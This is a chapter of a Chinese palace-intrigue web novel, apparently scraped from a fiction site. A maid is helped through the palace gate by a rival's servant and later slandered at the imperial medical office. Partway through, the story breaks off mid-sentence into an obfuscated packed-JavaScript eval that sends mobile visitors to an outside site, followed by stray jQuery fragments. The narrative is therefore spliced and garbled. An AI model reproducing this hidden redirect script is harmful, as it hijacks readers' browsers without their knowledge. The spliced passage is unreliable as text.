默认冷灰
24号文字
方正启体

23. 孤雁望蘅(四)

作者:墨雨轻吟本书字数:K更新时间:
    车夫跳下马车,牵住缰绳。义姁掀开帘子,款步下车。马车停在北掖门外不远处,此门是专门留给在宫廷工作的匠人工徒、宫女下人等出入的便门。


    此时卯时已过,城门已开,两三个身着金属甲胄的南军守卫,正手持环首刀,身姿笔直地守在门口。晨光之间,透露出一股深邃的悲凉和沧桑。


    义姁与车夫作别后,径直走向宫门,摘下腰间的宫女令牌,递给一名年轻守卫。


    守卫只瞟了两眼,便将令牌退还,摇了摇头。


    义姁奇问:“这令牌可有不妥?”


    “近期宫中戒备森严,仅有令牌不够,还需有少府颁发的符节。”见义姁瞠目结舌的形容,他又道:“若没有符节,你既是太医署的宫女,可有太医令或者太医丞的手书证明?”


    义姁没想到如今进宫竟如此繁琐,可偏偏这两样她都没有,只得摇了摇头。


    “那便没有法子了。”那侍卫带着一种爱莫能助的眼神道。


    说话间,一个挎着篮子的青衣小宫女走了过来,挡在二人中间。小宫女从袖中缓缓拿出一片竹片模样的的东西,递向前去。


    义姁瞧这小宫女的身形极为熟悉,歪着头仔细打量一番,试探着唤道:“小芝?”


    闻言,小芝吓得哆嗦了一下,旋即转过身来。看清是义姁,惊恐未定的小脸上眉间微微一掠。她身材娇小,不过六尺出头,比义姁要矮上半个头,却下巴一扬,嗔怪道:“怎么是你?”


    义姁莞尔一笑,寒暄道:“是我,未曾想在此处能碰到小芝姑娘,不知柳夫人可好?”


    “我家夫人很好,不劳你担心了。”


    “那是...”她指着一旁守卫手中的竹片状之物奇问道。


    “这是符节,近日少府刚给各宫分发下来的。”小芝坦言,话间忽意识到了什么,又满脸不可置信地打量义姁,口中嘲弄道:“你不会没有吧?”


    原来这就是那守卫方才提及的符节。义姁心想,自己进宫也有些时日了了,直到今日才头一次听闻符节,更是头一回得见。


    她垂首,神色黯淡,低声道:“的确是没有...”


    小莲冷哼一声:“你们太医署不是最擅办事么,怎么连个符节都不给你?”话毕,眉头一展,故作恍然,嗔怪道:“哦对,都忙着去伺候王美人了吧,自然是没有功夫管你一个送药的小宫女了...”


    见小芝得意的小模样,义姁知道,她还在先前太医署忽略了柳夫人之事而耿耿于怀。虽如此,确是个忠心又率真的小宫女,便未曾将她的话放在心上。


    小芝眼中满是得意,轻抖肩膀转过身去,这模样分明是在故意炫耀。她接过守卫递来的已验过的符节,而后在义姁羡慕的眼光中,头也不回地走进了宫中。


    看她的步子,轻快地好似要蹦起来一般,鞋边的裙摆也随之跳动飞舞,义姁瞧着,都担心她一步小心踩到裙摆摔个跟头。


    罢了,本以为她会念在昨日送药之情帮着说几句话,却没想到是这般决绝的样子。义姁暗自推翻方才的想法,不觉得她可爱了。


    她转而对那守卫道:“我的确未曾收到过符节,想是最近太医署忙于照料刚分娩完的王美人,将符节之事给遗漏了,不知是否可以...”


    守卫却径直打断她,苦笑道:“姑娘,你就别为难我们了,我们也是按宫中规矩行事...”


    义姁见状,只好将剩下的话咽回肚里。目光流转间,忽瞥见远处的那刻着黑色花纹的石门后,探出半个脑袋,正暗自打量着她。


    见被发现,小芝索性从门后走出来。许是怕义姁觉得她莫名其妙,她不好意思直视义姁,只正对着那年轻守卫,轻咳了两声后道:“我可为她作证,她的确是太医署的宫女,让她进去吧。”


    义姁眉睫一动,心中微微动容。没想到她竟折返回来,惊愕之余,才反应过来方才不过是她的一番捉弄,不过是想逞口舌之快,看自己着急出丑的模样。


    守卫听了小芝的话,一言未发,竟鬼使神差般地同意放行。义姁心中暗叹,不愧是昔日在后宫盛极一时的柳夫人,如今即便失宠,连她的婢女都有如此话语权,更可想昔日之荣宠是何等风光了。


    话一说完,小芝就急冲冲地往回走,脚步急促,像是生怕被人追上似的。


    义姁进行简单的搜身检查后,小跑追上她拦住了她。


    “哎呀!烦死了!干嘛非得缠着我一道走!”小芝垂首,咬牙切齿地嘟囔,眼眸左右闪躲着义姁的目光。


    义姁见她挽着个挎着个小篮子,上面遮了一层布,整个人风尘仆仆,便开口问道:“小芝姑娘也是刚从宫外回来吗?”


    “这还用问...”小芝说着,怯生生地抬起头,将篮子上的布往下拉了拉,鼓足了气撇嘴抱怨:“现下天这么冷,少府的那些人和你们太医署竟一般的势利!只肯给那么一星半点煤炭,我家夫人身子不好,若不出宫换些银钱买煤炭,这日子还怎么过...”


    义姁闻言,心中闪过一丝动容。着实没想到合欢殿已经落魄到了这般境地。俗话说落魄的凤凰不如鸡。一个仰仗于别人的宠爱来生存的人,一旦失了宠爱,便是只能沦为人人可欺的境地。


    她温言道:“小芝,我此番前来是想说,我虽只是太医署的一名宫女,日后都会亲自为柳夫人送药,你和柳夫人都不必为此忧心。”


    其实自昨日在昭阳殿见到了柳夫人那副病态孱弱的模样,她便拿定了这主意。深宫幽闺中失了皇宠的女子日子本就艰难,她实在不忍心见柳夫人这样一个柔心弱骨的女子,在这深宫之中香消玉殒。


    “当真?!”小芝登时抬头,原本躲闪的双眸满是不可置信。许是想起刚才之事又觉得尴尬,移开目光后嗫嚅道:“可一定说到做到,不许反悔...”


    “自然。”义姁轻笑着答道。


    小芝似是想说什么,却又羞于启齿,憋红了脸,半晌才含糊吐出几个字,随后慌慌张张地跑开了。义姁望着她的身影,也不知她究竟是慌张还是因为其他缘由。不过听发音,那两个字应是,


    多谢。


    真是个率真可爱的小宫女。义姁扯了扯嘴角,再看向前方,小芝已经渐行渐远,但仍能看到她身侧随着脚步一蹦一跳的篮子,不禁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378752|166511||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想到了方才守门的侍卫。


    其实宫中明文禁止宫女私自出宫变卖首饰换钱,可那守卫不仅对小芝的话深信不疑,甚至都未曾像对自己一样对她进行搜身检查,连篮子里是何物都不曾过问。倒底是昔日柳夫人的婢子,待遇确实不同寻常。


    *****


    已入十二月,寒意渐浓。为应对寒冬,太医署需储存足够的常用药材,以备不时之需。义姁回到太医署时,庭院里停着数量满载着药材的推车,侍医早已投入劳作。江禄和几个宫人正往返奔波,将满载药材的麻袋扛进仓库。院落一角,药炉熊熊燃烧,浓烟滚滚,几名老侍医正带着柳嘉在旁边细细勘察着。


    义姁本想上前搭把手,可瞧见车上那满满当当、一袋又一袋的药材,顿时意识到了自己的力有不逮。那些男子搬运尚且青筋暴起、气喘吁吁,自己贸然上前,怕是非但帮不上忙,还可能弄散药材,徒增麻烦。念及此,她便转身准备离开,寻些其他事情来做。


    刚转过身,身后便传来一声尖锐的男声。


    “宋义姁,你还知道回来!”


    义姁闻声回身,只见吴喜从推车后踱步而出。他双手披在身后,傲气森森地盯着义姁,扯着嗓子叫嚷道:“郑医丞不过差你去送个药,你竟借机一夜未归!莫不是找野男人去了吧!”


    在这深宫中,所有人都坚信,宫中一切物品归皇上所有,宫中的一切女子均为皇上服务。若是与皇上以外的任何男子传出私通之事,那便是触犯宫规国法,便是大逆不道,便是人人得而诛之的□□。宫中生活平静如水,日复一日的劳作服侍,他们一边洁身自好不愿沾染这种污秽,一边却又期待着身边忽然出现这种秽闻。因为他们最爱看的,便是一个秉着清白之身女子如何在悠悠众口之下被揭穿是□□的身份。看着女子羞红的脸,挣扎着不愿承认的眼泪,他们会觉得自己是多么高尚,多么的自律守礼、洁身自好。所以他们最爱做的,便是给一个清白的女子戴上私通的高帽。


    所以吴喜这一嗓子,尤其是最后一句,惊得旁边正搬药材的宫人纷纷侧目,就连煮药的老侍医们也转过身来。


    义姁一时也辨不清众人投过来的目光,究竟是震惊还是纯粹看热闹。再瞧吴喜那副得意洋洋的嘴脸,明明同自己一样身着宫人的深衣,却比当官的还盛气凌人。想必若是没有上面那位的指令,他也没这个胆子。


    “吴喜,你说话可要讲证据。”义姁冷言道。


    许是听到义姁直呼他的大名,他眉间略过一丝极为震惊的神情,但刹那间转变成满脸怒容,撸起袖子骂骂咧咧地冲上前,欲教训义姁一番。


    “砰!”一声闷响,一个装满药材的灰色麻袋猛地飞至二人中间。吴喜匆忙止步,身体前后摇晃,险些摔倒,嘴里下意识爆出骂人的脏词。


    “竟然敢吓乃公!”吴喜站稳身子,狠狠踢了一脚地上的麻袋,恶狠狠地瞪向麻袋飞来的方向。


    台阶之上,江禄正站在原地,身上的深衣因为搬了过多药材早已被汗水浸透,随着沉重的呼吸微微起伏。凌厉至极的目光射向吴喜,气势之盛,仿若烈火熊焰直卷而来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)